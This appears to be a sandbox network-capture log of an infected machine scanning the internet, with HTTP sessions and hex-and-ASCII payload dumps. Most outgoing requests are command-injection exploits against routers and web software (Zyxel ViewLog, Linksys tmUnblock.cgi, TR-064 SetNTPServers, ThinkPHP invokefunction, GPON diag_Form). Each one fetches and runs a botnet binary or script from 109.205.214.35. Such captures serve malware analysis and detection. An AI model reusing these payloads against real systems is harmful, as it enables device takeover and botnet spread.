Mar 21, 2024 05:18:23.314862967 CET	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.13	55772	178.253.3.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:19.958976030 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.13	40048	172.65.233.89	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.015953064 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.13	53994	172.65.90.8	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.016015053 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.13	53670	172.65.31.28	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.103269100 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.13	55402	47.155.118.247	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.182583094 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:31.477030039 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.13	47086	172.65.219.54	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.191483974 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.13	54676	172.65.239.251	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.191521883 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.13	48284	98.159.91.190	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.256337881 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.13	36690	107.187.184.158	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.292778969 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:20.447392941 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:06 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.13	49858	95.83.152.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.395687103 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:21.103112936 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:21.319639921 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Thu, 21 Mar 2024 04:18:18 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.13	52840	23.200.224.60	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.997400999 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:21.332727909 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:21.439301014 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:18:21 GMT Date: Thu, 21 Mar 2024 04:18:21 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 33 30 35 63 36 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 30 31 26 23 34 36 3b 33 35 63 34 36 64 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3305c617.1710994701.35c46d3</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.13	55510	47.155.118.247	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.383316994 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:22.327002048 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.13	33464	210.229.141.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.846832991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.13	49390	178.105.155.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:21.846889973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.13	59496	34.192.210.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.107045889 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:22.651015043 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:22.744795084 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:18:22 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.13	50828	136.146.30.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.107079029 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:22.651015997 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:22.755759954 CET	173	IN	HTTP/1.1 400 Bad Request Content-Type: text/html;charset=iso-8859-1 Content-Length: 50 X-Cnection: close Data Raw: 3c 68 31 3e 42 61 64 20 4d 65 73 73 61 67 65 20 34 30 30 3c 2f 68 31 3e 3c 70 72 65 3e 72 65 61 73 6f 6e 3a 20 4e 6f 20 48 6f 73 74 3c 2f 70 72 65 3e Data Ascii: <h1>Bad Message 400</h1><pre>reason: No Host</pre>

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.13	38732	206.176.139.233	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.348758936 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:22.964996099 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:23.699806929 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.13	52866	62.29.94.115	52869

Timestamp	Bytes transferred	Direction	Data
